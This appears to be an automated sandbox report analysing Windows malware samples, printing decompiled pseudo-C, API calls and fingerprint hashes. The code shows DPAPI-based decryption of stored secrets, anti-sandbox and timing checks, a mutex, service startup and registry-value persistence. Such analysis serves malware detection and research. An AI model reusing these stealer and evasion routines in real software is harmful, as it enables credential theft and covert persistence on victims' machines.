				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				if(E00407380(_a4,  &_v40,  &_v16) != 0) {
					_v8 = E0040BB00(_v40, _v16);
					if(_v8 != 0) {
						_t57 =  *0x41a088; // 0x618758
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41a394; // 0x615f40
							_v48 = E0040BA20(_v20, _t58);
							if(E00407470( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0 && E00407510(_v32 + 5, _v24 - 5,  &_v28,  &_v12) != 0 && _v12 == 0x20) {
									_v44 = 1;
									E004075E0(_v28, _a8, _a12);
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407698
0x004076b5
0x004076cb
0x004076d2
0x004076d8
0x004076e9
0x004076f0
0x004076fc
0x004076ff
0x00407712
0x0040772b
0x00407742
0x00407744
0x0040776e
0x00407781
0x00407786
0x00407744
0x0040772b
0x004076f0
0x004076d2
0x00407791

APIs

Part of subcall function 00407380: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
Part of subcall function 00407380: GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
Part of subcall function 00407380: LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
Part of subcall function 00407380: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
Part of subcall function 00407380: LocalFree.KERNEL32(?), ref: 0040744B
Part of subcall function 00407380: CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Part of subcall function 0040BB00: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

StrStrA.SHLWAPI(00000000,00618758), ref: 004076E3

Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
Part of subcall function 00407470: LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
Part of subcall function 00407470: LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Part of subcall function 00407510: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
Part of subcall function 00407510: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
Part of subcall function 00407510: LocalFree.KERNEL32(?), ref: 0040757F

Strings

@_a, xrefs: 004076FF
DPAPI, xrefs: 00407738
, xrefs: 00407768

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotect
String ID: $@_a$DPAPI
API String ID: 2403763606-3931688241
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: eb4e9db67b04358953b965a2fa42df4c86bf95490415688a64744a127192de17
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: C5314876D04109ABCF04DBD9DC45AFFB7B8AF48304F14852AE904B3241E738B944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0058C100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?,?,00585E47,?,8ia,00000000), ref: 0058C10E
lstrcpyn.KERNEL32(0041AC88,?,?,?,00585E47,?,8ia), ref: 0058C132
wsprintfA.USER32 ref: 0058C18B

Strings

G^X, xrefs: 0058C176, 0058C179

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^X
API String ID: 1799455324-3407670091
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: e6ecfd76ab84b49816429524fa7f2f09a22866c32daac46420eca55ddbfdc213
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 0721EA75901108EFDF05DFACD984AEDBFB4FF48344F108199E809A7341D635AA50CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00586DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0058C582
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,p_), ref: 0058C59A
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0058C5B2
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0058C5CB
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,(`), ref: 0058C5E3
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0058C5FB
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0058C614
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,@`), ref: 0058C62C
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0058C644
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0058C65D
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0058C673
Part of subcall function 0058C530: LoadLibraryA.KERNEL32(0041A0F8,?,00586DC2), ref: 0058C685
Part of subcall function 0058C530: LoadLibraryA.KERNEL32(0041A658,?,00586DC2), ref: 0058C697
Part of subcall function 0058C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0058C6B8

Part of subcall function 005812A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 005812BA
Part of subcall function 005812A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 005812C1
Part of subcall function 005812A0: ExitProcess.KERNEL32 ref: 005812D2

Part of subcall function 00586CF0: GetTickCount.KERNEL32 ref: 00586CF6
Part of subcall function 00586CF0: Sleep.KERNEL32(00002710), ref: 00586D04
Part of subcall function 00586CF0: GetTickCount.KERNEL32 ref: 00586D0A

Sleep.KERNEL32(000003E7), ref: 00586E45

Part of subcall function 00586C60: GetUserDefaultLangID.KERNEL32 ref: 00586C6D

Part of subcall function 00586D80: CreateMutexA.KERNEL32(00000000,00000000,0041A124), ref: 00586D8D
Part of subcall function 00586D80: GetLastError.KERNEL32 ref: 00586D93

Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 0058C70D
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A728), ref: 0058C725
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 0058C73E
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A668), ref: 0058C756
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0058C76E
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A26C), ref: 0058C787
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A64C), ref: 0058C79F
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4B8), ref: 0058C7B7
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2B4), ref: 0058C7D0
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7BC), ref: 0058C7E8
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A49C), ref: 0058C800
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4FC), ref: 0058C819
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A3A8), ref: 0058C831
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,XTa), ref: 0058C849
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 0058C862
Part of subcall function 0058C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7AC), ref: 0058C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00586E0C

Part of subcall function 00586B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00586BC1
Part of subcall function 00586B40: lstrcat.KERNEL32(?,xWa), ref: 00586BD5
Part of subcall function 00586B40: sscanf.NTDLL ref: 00586C13
Part of subcall function 00586B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C27
Part of subcall function 00586B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C38
Part of subcall function 00586B40: ExitProcess.KERNEL32 ref: 00586C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00586E26
ExitProcess.KERNEL32 ref: 00586E54

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: deb9921109e4c39c7268c3a2cb711b6dc855c9ca038c2ca9d90af0eed06b49fb
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 6B01A438785742A6E76037B1ED0FB5A2E497F80F81F140460BE41B81D2EEA5A951872F

Uniqueness

Uniqueness Score: -1.00%

Function 0058AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0058AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0058AFBA
wsprintfA.USER32 ref: 0058AFF4

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 05fb5ee0a12ae36f4e499fe5b3215f29d52ef27ee8cbe55280979c51bdd3f3c6
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: AEF09070A45318DBDB20ABA4DD49BEAB77AAB04301F0046E5EA09A3291DB745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0043D096, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction ID: 8be47f3b34078369494427b808028aef413607e7a0f6c687f150cca5f1db1173
Opcode Fuzzy Hash: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction Fuzzy Hash: A241F3B1E102299FDB24CF58D941BAFB7B5BF89314F1051DAE148AB241C7789E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00435CCC, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

9, xrefs: 00435EF8

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction ID: c6f784ded8cdb49d373c085947d5444d3394d07df3f20628c96ba8fba7acd4dc
Opcode Fuzzy Hash: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction Fuzzy Hash: 6841D771D15629DFDB24CF59CC8ABAEB7B5FB48304F14959AD019A7240D7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0E4, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction ID: d1c5ec1ddf94f893c60630676f7cb5672a5d60bde73006aa23fd70ede6fae4d3
Opcode Fuzzy Hash: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction Fuzzy Hash: 1F41E4B1E001299FDB24CF48D981BAFB7B5FB89314F1055D9E149A7241C7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435C7B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

9, xrefs: 00435EF8

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction ID: 29914041c14e1edd09314d4cffaf7c31213abb823a699583a1712579103050a1
Opcode Fuzzy Hash: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction Fuzzy Hash: F741E7B1D05628DFDB24CF59CC89BAEB7B5BB48304F2095DAE009A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D08D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction ID: c7a6d1ed8c7b87a1eb9e5ef3806afd654882af45eaad0317b6b997c3200a8b7f
Opcode Fuzzy Hash: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction Fuzzy Hash: 8E41F4B1E001299FDB24CF48D981BAFB7B5BB89314F1051DAA148A7241C7389E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00592620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00592D62), ref: 00592694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00592D62), ref: 005926A2

Part of subcall function 005918C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-Y,?,?,?,?,?,?,00592D62), ref: 005918CE

Part of subcall function 00591880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005918AC

Strings

b-Y, xrefs: 005926A8, 005926FD, 005926AB

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-Y
API String ID: 568878067-2257548771
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: 850ba8b472e06a0dec546d7cf6646f912170834a02825c1136fb6af5b361bc4f
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: C231A1B99002099FDB08DF98C594BDEBBF5BB4C304F204599E805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0058B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6Y,?,0058B7ED,b6Y,00000009,?,00593662,00000009), ref: 0058B8F9
RtlAllocateHeap.NTDLL(00000000,?,0058B7ED), ref: 0058B900

Strings

b6Y, xrefs: 0058B8F3, 0058B8F6

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6Y
API String ID: 1357844191-2183669519
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 85ED.exe PID: 5332 Parent PID: 3352 85ED.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
